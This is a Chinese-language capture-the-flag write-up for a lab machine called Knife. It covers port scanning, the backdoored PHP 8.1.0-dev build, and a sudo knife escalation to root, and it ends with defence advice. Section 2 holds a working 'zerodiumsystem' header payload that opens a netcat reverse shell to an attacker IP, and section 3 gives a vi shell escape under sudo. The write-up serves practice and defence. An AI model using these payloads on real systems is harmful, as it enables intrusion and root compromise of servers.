[Meachines] [Easy] Knife PHP 8.1.0-dev RCE+knife权限提升
字数 1024 2025-08-29 08:30:30
PHP 8.1.0-dev RCE漏洞利用与Knife权限提升教学文档
1. 信息收集阶段
1.1 目标识别
- 目标IP: 10.10.10.242
- 开放端口:
- TCP 22 (SSH - OpenSSH 8.2p1 Ubuntu)
- TCP 80 (HTTP - Apache 2.4.41)
1.2 端口扫描技术
使用以下命令组合进行高效扫描:
ip='10.10.10.242';
itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
1.3 Web服务识别
使用whatweb工具识别Web技术:
whatweb http://10.10.10.242/ -v
2. PHP 8.1.0-dev RCE漏洞利用
2.1 漏洞背景
PHP 8.1.0-dev版本在2021年3月28日被植入后门,攻击者可以通过User-Agentt头部执行任意代码。
2.2 漏洞利用方法
构造特殊HTTP请求头实现RCE:
GET / HTTP/1.1
Host: 10.10.10.242
User-Agentt: zerodiumsystem('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 10033 >/tmp/f');
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
关键点:
- 使用
User-Agentt而非User-Agent(注意有两个t) - 命令执行部分使用
zerodiumsystem()函数 - 反弹shell命令创建命名管道并通过netcat连接
2.3 反弹Shell准备
在攻击机上监听:
nc -lvnp 10033
2.4 获取用户权限
成功利用后获取user.txt:
80543f47be4ae1c71bee32030493ec4d
3. 权限提升(Knife工具滥用)
3.1 Knife简介
Knife是Chef配置管理工具的命令行接口(CLI),用于管理Chef Server、节点、数据包和Cookbook等。
3.2 权限提升方法
利用sudo权限执行knife命令时逃逸到root shell:
sudo /usr/bin/knife data bag create 1 2 -e vi
在vi编辑器中执行:
:!/bin/bash
3.3 技术原理
-e参数指定编辑器为vi- 当knife调用外部编辑器时,可以从编辑器执行shell命令
- 由于是sudo执行,获得的shell具有root权限
3.4 获取root权限
成功提权后获取root.txt:
15153b6892739327c25a62b7461a5315
4. 防御建议
4.1 针对PHP RCE漏洞
- 立即升级PHP到安全版本
- 监控服务器日志中异常的User-Agentt请求
- 使用WAF拦截包含zerodiumsystem关键字的请求
4.2 针对Knife提权
- 限制sudo权限,避免允许普通用户以root执行knife
- 使用安全的编辑器配置,避免命令注入
- 实施最小权限原则,只授予必要的sudo权限
5. 参考资源
- PHP 8.1.0-dev后门分析: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
- Chef Knife官方文档
- Linux权限提升技术手册